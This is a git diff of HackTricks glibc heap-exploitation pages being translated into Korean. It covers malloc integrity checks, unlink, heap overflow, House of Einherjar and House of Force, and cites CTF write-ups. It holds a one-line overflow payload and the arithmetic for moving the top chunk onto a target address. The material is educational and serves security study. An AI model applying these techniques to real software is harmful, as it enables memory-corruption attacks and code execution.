- 오류 메시지: `malloc(): corrupted top size`
## `tcache_get_n`
- **Checks in `tcache_get_n`:**
- If chunk is misaligned:
- Error message: `malloc(): unaligned tcache chunk detected`
- **`tcache_get_n`에서의 검사:**
- 청크가 정렬되지 않은 경우:
- 오류 메시지: `malloc(): unaligned tcache chunk detected`
## `tcache_thread_shutdown`
- **Checks in `tcache_thread_shutdown`:**
- If chunk is misaligned:
- Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected`
- **`tcache_thread_shutdown`에서의 검사:**
- 청크가 정렬되지 않은 경우:
- 오류 메시지: `tcache_thread_shutdown(): unaligned tcache chunk detected`
## `__libc_realloc`
- **Checks in `__libc_realloc`:**
- If old pointer is misaligned or the size was incorrect:
- Error message: `realloc(): invalid pointer`
- **`__libc_realloc`에서의 검사:**
- 이전 포인터가 정렬되지 않았거나 크기가 올바르지 않은 경우:
- 오류 메시지: `realloc(): invalid pointer`
## `_int_free`
For more info check:
자세한 내용은 확인하세요:
{{#ref}}
free.md
{{#endref}}
- **Checks during the start of `_int_free`:**
- Pointer is aligned:
- Error message: `free(): invalid pointer`
- Size larger than `MINSIZE` and size also aligned:
- Error message: `free(): invalid size`
- **Checks in `_int_free` tcache:**
- If there are more entries than `mp_.tcache_count`:
- Error message: `free(): too many chunks detected in tcache`
- If the entry is not aligned:
- Error message: `free(): unaligned chunk detected in tcache 2`
- If the freed chunk was already freed and is present as chunk in the tcache:
- Error message: `free(): double free detected in tcache 2`
- **Checks in `_int_free` fast bin:**
- If the size of the chunk is invalid (too big or small) trigger:
- Error message: `free(): invalid next size (fast)`
- If the added chunk was already the top of the fast bin:
- Error message: `double free or corruption (fasttop)`
- If the size of the chunk at the top has a different size of the chunk we are adding:
- Error message: `invalid fastbin entry (free)`
- **`_int_free` 시작 시 검사:**
- 포인터가 정렬되어 있는지:
- 오류 메시지: `free(): invalid pointer`
- 크기가 `MINSIZE`보다 크고 크기도 정렬되어 있는지:
- 오류 메시지: `free(): invalid size`
- **`_int_free` tcache에서의 검사:**
- `mp_.tcache_count`보다 더 많은 항목이 있는 경우:
- 오류 메시지: `free(): too many chunks detected in tcache`
- 항목이 정렬되지 않은 경우:
- 오류 메시지: `free(): unaligned chunk detected in tcache 2`
- 해제된 청크가 이미 해제되었고 tcache에 청크로 존재하는 경우:
- 오류 메시지: `free(): double free detected in tcache 2`
- **`_int_free` 빠른 빈에서의 검사:**
- 청크의 크기가 유효하지 않은 경우 (너무 크거나 작음) 트리거:
- 오류 메시지: `free(): invalid next size (fast)`
- 추가된 청크가 이미 빠른 빈의 최상위인 경우:
- 오류 메시지: `double free or corruption (fasttop)`
- 최상위 청크의 크기가 추가하는 청크의 크기와 다른 경우:
- 오류 메시지: `invalid fastbin entry (free)`
## **`_int_free_merge_chunk`**
- **Checks in `_int_free_merge_chunk`:**
- If the chunk is the top chunk:
- Error message: `double free or corruption (top)`
- If the next chunk is outside of the boundaries of the arena:
- Error message: `double free or corruption (out)`
- If the chunk is not marked as used (in the prev_inuse from the following chunk):
- Error message: `double free or corruption (!prev)`
- If the next chunk has a too little size or too big:
- Error message: `free(): invalid next size (normal)`
- If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk:
- Error message: `corrupted size vs. prev_size while consolidating`
- **`_int_free_merge_chunk`에서의 검사:**
- 청크가 최상위 청크인 경우:
- 오류 메시지: `double free or corruption (top)`
- 다음 청크가 아레나의 경계를 벗어난 경우:
- 오류 메시지: `double free or corruption (out)`
- 청크가 사용 중으로 표시되지 않은 경우 (다음 청크의 prev_inuse에서):
- 오류 메시지: `double free or corruption (!prev)`
- 다음 청크의 크기가 너무 작거나 너무 큰 경우:
- 오류 메시지: `free(): invalid next size (normal)`
- 이전 청크가 사용 중이 아니면 통합을 시도합니다. 그러나 `prev_size`가 이전 청크에 의해 표시된 크기와 다른 경우:
- 오류 메시지: `corrupted size vs. prev_size while consolidating`
## **`_int_free_create_chunk`**
- **Checks in `_int_free_create_chunk`:**
- Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
- Error message: `free(): corrupted unsorted chunks`
- **`_int_free_create_chunk`에서의 검사:**
- 정렬되지 않은 빈에 청크를 추가할 때, `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`인지 확인:
- 오류 메시지: `free(): corrupted unsorted chunks`
## `do_check_malloc_state`
- **Checks in `do_check_malloc_state`:**
- If misaligned fast bin chunk:
- Error message: `do_check_malloc_state(): unaligned fastbin chunk detected`
- **`do_check_malloc_state`에서의 검사:**
- 정렬되지 않은 빠른 빈 청크인 경우:
- 오류 메시지: `do_check_malloc_state(): unaligned fastbin chunk detected`
## `malloc_consolidate`
- **Checks in `malloc_consolidate`:**
- If misaligned fast bin chunk:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- If incorrect fast bin chunk size:
- Error message: `malloc_consolidate(): invalid chunk size`
- **`malloc_consolidate`에서의 검사:**
- 정렬되지 않은 빠른 빈 청크인 경우:
- 오류 메시지: `malloc_consolidate(): unaligned fastbin chunk detected`
- 잘못된 빠른 빈 청크 크기인 경우:
- 오류 메시지: `malloc_consolidate(): invalid chunk size`
## `_int_realloc`
- **Checks in `_int_realloc`:**
- Size is too big or too small:
- Error message: `realloc(): invalid old size`
- Size of the next chunk is too big or too small:
- Error message: `realloc(): invalid next size`
- **`_int_realloc`에서의 검사:**
- 크기가 너무 크거나 너무 작은 경우:
- 오류 메시지: `realloc(): invalid old size`
- 다음 청크의 크기가 너무 크거나 너무 작은 경우:
- 오류 메시지: `realloc(): invalid next size`
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,8 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
### Code
### 코드
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -11,73 +10,72 @@
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
// Added: If the FD is not in the nextsize list
if (fd->fd_nextsize == NULL)
{
// Added: If the FD is not in the nextsize list
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
// Link the nexsize list in when removing the new chunk
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
// Link the nexsize list in when removing the new chunk
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
```
### 그래픽 설명
### Graphical Explanation
Check this great graphical explanation of the unlink process:
unlink 프로세스에 대한 훌륭한 그래픽 설명을 확인하세요:
<figure><img src="../../../images/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### Security Checks
### 보안 검사
- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk
- Check also that `P->fd->bk == P` and `P->bk->fw == P`
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
- 청크의 지정된 크기가 다음 청크에 표시된 prev_size와 동일한지 확인합니다.
- 또한 `P->fd->bk == P``P->bk->fw == P`인지 확인합니다.
- 청크가 작지 않은 경우, `P->fd_nextsize->bk_nextsize == P``P->bk_nextsize->fd_nextsize == P`인지 확인합니다.
### Leaks
### 누수
An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses:
unlink된 청크는 할당된 주소를 정리하지 않으므로, 이를 읽을 수 있는 접근 권한이 있으면 흥미로운 주소를 누출할 수 있습니다:
Libc Leaks:
Libc 누수:
- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc
- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc
- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`.
- P가 이중 연결 리스트의 머리에 위치하면, `bk`는 libc의 `malloc_state`를 가리킵니다.
- P가 이중 연결 리스트의 끝에 위치하면, `fd`는 libc의 `malloc_state`를 가리킵니다.
- 이중 연결 리스트에 무료 청크가 하나만 포함되어 있을 때, P는 이중 연결 리스트에 있으며, `fd``bk` 모두 `malloc_state` 내부의 주소를 누출할 수 있습니다.
Heap leaks:
힙 누수:
- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap
- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap
- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap
- P가 이중 연결 리스트의 머리에 위치하면, `fd`는 힙의 사용 가능한 청크를 가리킵니다.
- P가 이중 연결 리스트의 끝에 위치하면, `bk`는 힙의 사용 가능한 청크를 가리킵니다.
- P가 이중 연결 리스트에 있으면, `fd``bk` 모두 힙의 사용 가능한 청크를 가리킵니다.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,50 +1,48 @@
# Heap Overflow
# 힙 오버플로우
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.**
힙 오버플로우는 [**스택 오버플로우**](../stack-overflow/)와 비슷하지만 힙에서 발생합니다. 기본적으로 이는 힙에 데이터를 저장하기 위해 예약된 공간이 있고 **저장된 데이터가 예약된 공간보다 더 크다는 것을 의미합니다.**
In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this.
스택 오버플로우에서는 명령 포인터나 스택 프레임과 같은 일부 레지스터가 스택에서 복원될 것이며 이를 악용할 수 있습니다. 힙 오버플로우의 경우, **기본적으로 힙 청크에 민감한 정보가 저장되지 않습니다**. 그러나 민감한 정보나 포인터일 수 있으므로, 이 취약점의 **중요성**은 **어떤 데이터가 덮어씌워질 수 있는지**와 공격자가 이를 어떻게 악용할 수 있는지에 따라 **달라집니다**.
> [!TIP]
> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
> 오버플로우 오프셋을 찾기 위해 [**스택 오버플로우**](../stack-overflow/#finding-stack-overflows-offsets)와 같은 패턴을 사용할 수 있습니다.
### Stack Overflows vs Heap Overflows
### 스택 오버플로우 vs 힙 오버플로우
In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function.
스택 오버플로우에서는 취약점이 발생할 때 스택에 존재할 데이터와 배열이 상당히 신뢰할 수 있습니다. 이는 스택이 선형적이며, 항상 충돌하는 메모리에서 증가하고, **프로그램 실행의 특정 위치에서 스택 메모리는 보통 유사한 종류의 데이터를 저장하며** 각 함수에서 사용되는 스택 부분의 끝에 일부 포인터가 있는 특정 구조를 가지고 있기 때문입니다.
However, in the case of a heap overflow, the used memory isnt linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. Its **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, its needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed.
그러나 힙 오버플로우의 경우, 사용된 메모리는 선형적이지 않으며 **할당된 청크는 보통 메모리의 분리된 위치에 있습니다** (서로 옆에 있지 않음) **크기에 따라 할당을 구분하는 빈과 존** 때문에, 그리고 **이전의 해제된 메모리가** 새로운 청크를 할당하기 전에 사용되기 때문입니다. **힙 오버플로우에 취약한 객체와 충돌할 객체를 아는 것은 복잡합니다.** 따라서 힙 오버플로우가 발견되면, **원하는 객체가 메모리에서 오버플로우될 수 있는 객체 바로 다음에 오도록 하는 신뢰할 수 있는 방법을 찾아야 합니다.**
One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post its explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks).
이러한 방법 중 하나는 **힙 그루밍**으로, 예를 들어 [**이 게시물**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)에서 사용됩니다. 이 게시물에서는 iOS 커널에서 메모리 청크를 저장할 공간이 부족할 때, 커널 페이지로 확장하고 이 페이지를 예상 크기의 청크로 나누어 순서대로 사용되는 방법을 설명합니다 (iOS 버전 9.2까지, 이후에는 이러한 청크가 무작위로 사용되어 공격의 악용을 어렵게 만듭니다).
Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**.
따라서 힙 오버플로우가 발생하는 이전 게시물에서, 오버플로우된 객체가 피해자 객체와 충돌하도록 강제하기 위해 여러 **`kalloc`이 여러 스레드에 의해 강제되어 모든 무료 청크가 채워지고 새로운 페이지가 생성되도록 시도합니다.**
In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, its possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`.
특정 크기의 객체로 이 채우기를 강제하기 위해, **iOS 맥 포트와 관련된 아웃 오브 라인 할당**이 이상적인 후보입니다. 메시지의 크기를 조정함으로써 `kalloc` 할당의 크기를 정확히 지정할 수 있으며, 해당 맥 포트가 파괴되면 해당 할당이 즉시 `kfree`로 반환됩니다.
Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, its probable that this object will be followed by a victim object.
그런 다음 이러한 자리 표시자 중 일부를 **해제**할 수 있습니다. **`kalloc.4096` 무료 목록은 후입선출 방식으로 요소를 해제합니다**, 이는 기본적으로 일부 자리 표시자가 해제되고 익스플로잇이 오버플로우에 취약한 객체를 할당하려고 할 때 여러 피해자 객체를 할당하려고 시도할 경우, 이 객체가 피해자 객체 뒤에 올 가능성이 높다는 것을 의미합니다.
### Example libc
### 예제 libc
[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also.
[**이 페이지**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html)에서는 다음 청크의 prev in use 비트를 덮어쓰고 prev 크기의 위치를 덮어쓰는 방법을 보여주는 기본 힙 오버플로우 에뮬레이션을 찾을 수 있습니다. 이를 통해 **사용된 청크를 통합**(사용되지 않은 것처럼 보이게 함)하고 **다시 할당하여 다른 포인터에서 사용 중인 데이터를 덮어쓸 수 있습니다.**
Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**.
[**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html)에서 또 다른 예제는 **힙 오버플로우**를 악용하여 승리 함수 호출을 통해 **플래그를 얻는** 매우 기본적인 CTF 예제를 보여줍니다.
In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to.
[**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) 예제에서는 버퍼 오버플로우를 악용하여 **근처 청크에 주소를 덮어쓸 수 있는 방법**을 볼 수 있습니다. 여기서 **사용자로부터 임의의 데이터**가 기록될 것입니다.
### Example ARM64
In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as:
### 예제 ARM64
페이지 [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/)에서는 실행될 명령이 오버플로우된 청크의 다음 청크에 저장되는 힙 오버플로우 예제를 찾을 수 있습니다. 따라서, 다음과 같은 간단한 익스플로잇으로 이를 덮어써서 실행될 명령을 수정할 수 있습니다:
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```
### Other examples
### 다른 예시
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
- We use an Integer Overflow vulnerability to get a Heap Overflow.
- We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution.
- 우리는 Integer Overflow 취약점을 사용하여 Heap Overflow를 발생시킵니다.
- 우리는 오버플로우된 청크의 `struct` 내부에 있는 함수에 대한 포인터를 손상시켜 `system`과 같은 함수를 설정하고 코드 실행을 얻습니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,48 +2,48 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
### Code
### 코드
- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache)
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)의 예제를 확인하세요.
- 또는 [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation)에서 확인하세요 (tcache를 채워야 할 수도 있습니다).
### Goal
### 목표
- The goal is to allocate memory in almost any specific address.
- 목표는 거의 모든 특정 주소에 메모리를 할당하는 것입니다.
### Requirements
### 요구 사항
- Create a fake chunk when we want to allocate a chunk:
- Set pointers to point to itself to bypass sanity checks
- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag.
- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk
- The fake chunk size must also have been set the same size to bypass sanity checks
- For constructing these chunks, you will need a heap leak.
- 청크를 할당할 때 가짜 청크를 생성합니다:
- 포인터를 자기 자신을 가리키도록 설정하여 안전성 검사를 우회합니다.
- 한 청크에서 다음 청크로 null 바이트를 사용한 한 바이트 오버플로우로 `PREV_INUSE` 플래그를 수정합니다.
- null로 오프셋된 청크의 `prev_size`에 가짜 청크와의 차이를 표시합니다.
- 가짜 청크의 크기도 안전성 검사를 우회하기 위해 동일한 크기로 설정해야 합니다.
- 이러한 청크를 구성하려면 힙 누수가 필요합니다.
### Attack
### 공격
- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections
- 2 other chunks (`B` and `C`) are allocated
- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before
- This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks.
- Then, the tcache is filled
- Then, `C` is freed so it consolidates with the fake chunk `A`
- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk
- The house of Einherjar finishes here
- This can be continued with a fast bin attack or Tcache poisoning:
- Free `B` to add it to the fast bin / Tcache
- `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside)&#x20;
- Then, 2 mallocs are done and the second one is going to be **allocating the target address**
- 공격자가 제어하는 청크 내부에 `A` 가짜 청크가 생성되어 `fd``bk`가 원래 청크를 가리키도록 하여 보호를 우회합니다.
- 2개의 다른 청크(`B``C`)가 할당됩니다.
- `B`에서 한 바이트 오프셋을 악용하여 `prev in use` 비트를 지우고 `prev_size` 데이터를 `C` 청크가 할당된 위치와 이전에 생성된 가짜 `A` 청크 간의 차이로 덮어씁니다.
- 이 `prev_size`와 가짜 청크 `A`의 크기는 검사를 우회하기 위해 동일해야 합니다.
- 그런 다음, tcache가 채워집니다.
- 그런 다음, `C`가 해제되어 가짜 청크 `A`와 통합됩니다.
- 그런 다음, 가짜 `A` 청크에서 시작하여 `B` 청크를 덮는 새로운 청크 `D`가 생성됩니다.
- 여기서 Einherjar의 집이 끝납니다.
- 이는 빠른 빈 공격 또는 Tcache 중독으로 계속될 수 있습니다:
- `B`를 해제하여 빠른 빈 / Tcache에 추가합니다.
- `B``fd`가 덮어씌워져 목표 주소를 가리키도록 하여 `D` 청크를 악용합니다 (내부에 `B`가 포함되어 있음)&#x20;
- 그런 다음, 2개의 malloc이 수행되고 두 번째 malloc이 **목표 주소를 할당하게 됩니다**.
## References and other examples
## 참고 문헌 및 기타 예제
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
- After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets.
- 포인터를 해제한 후 null화되지 않으므로 여전히 데이터에 접근할 수 있습니다. 따라서 청크가 정렬되지 않은 빈에 배치되고 포함된 포인터가 누출됩니다 (libc leak) 그리고 새로운 힙이 정렬되지 않은 빈에 배치되어 얻은 포인터에서 힙 주소가 누출됩니다.
- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
- Null-byte overflow bug in `strtok`.
- Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive.
- `strtok`에서 null 바이트 오버플로우 버그.
- House of Einherjar를 사용하여 겹치는 청크 상황을 만들고 Tcache 중독으로 임의 쓰기 원시를 얻습니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,39 +6,37 @@
### Code
- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size`
- You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want.
- 이 기술은 패치되었습니다 ([**여기**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) 그리고 이 오류를 발생시킵니다: `malloc(): corrupted top size`
- 원하신다면 [**여기서 코드**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)를 시도해 보실 수 있습니다.
### Goal
- The goal of this attack is to be able to allocate a chunk in a specific address.
- 이 공격의 목표는 특정 주소에 청크를 할당할 수 있는 것입니다.
### Requirements
- An overflow that allows to overwrite the size of the top chunk header (e.g. -1).
- Be able to control the size of the heap allocation
- 상단 청크 헤더의 크기를 덮어쓸 수 있는 오버플로우 (예: -1).
- 힙 할당의 크기를 제어할 수 있어야 합니다.
### Attack
If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space.
Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated:
공격자가 주소 P에 청크를 할당하여 여기의 값을 덮어쓰고자 한다면, 그는 상단 청크 크기를 `-1`로 덮어쓰는 것으로 시작합니다 (아마도 오버플로우를 통해). 이는 malloc이 어떤 할당을 위해 mmap을 사용하지 않도록 보장합니다. 상단 청크는 항상 충분한 공간을 가질 것입니다.
그런 다음, 상단 청크의 주소와 할당할 대상 공간 사이의 거리를 계산합니다. 이는 해당 크기로 malloc이 수행되어 상단 청크를 그 위치로 이동시키기 때문입니다. 이렇게 하면 차이/크기를 쉽게 계산할 수 있습니다:
```c
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
* req = target - old_top - 4*sizeof(long)
*/
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
* req = target - old_top - 4*sizeof(long)
*/
```
Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\
Then, do another malloc to get a chunk at the target address.
따라서 `target - old_top - 4*sizeof(long)`의 크기를 할당하면(4개의 long은 상단 청크의 메타데이터와 할당된 새 청크의 메타데이터 때문입니다) 상단 청크가 우리가 덮어쓰고자 하는 주소로 이동합니다.\
그런 다음, 대상 주소에서 청크를 얻기 위해 또 다른 malloc을 수행합니다.
### References & Other Examples
@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address.
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c)
- [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11)
- The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function
- The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff)
- Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc`
- Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function
- 이 시나리오의 목표는 ret2win으로, ret2win 함수의 주소에 의해 호출될 함수의 주소를 수정해야 합니다.
- 이 바이너리는 상단 청크 크기를 수정할 수 있는 오버플로우가 있으며, 이는 -1 또는 p64(0xffffffffffffffff)로 수정됩니다.
- 그런 다음, 덮어쓸 포인터가 존재하는 위치의 주소를 계산하고, 현재 상단 청크의 위치에서 그곳까지의 차이를 `malloc`으로 할당합니다.
- 마지막으로, 이 원하는 대상을 포함할 새 청크가 할당되며, 이는 ret2win 함수에 의해 덮어씌워집니다.
- [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap
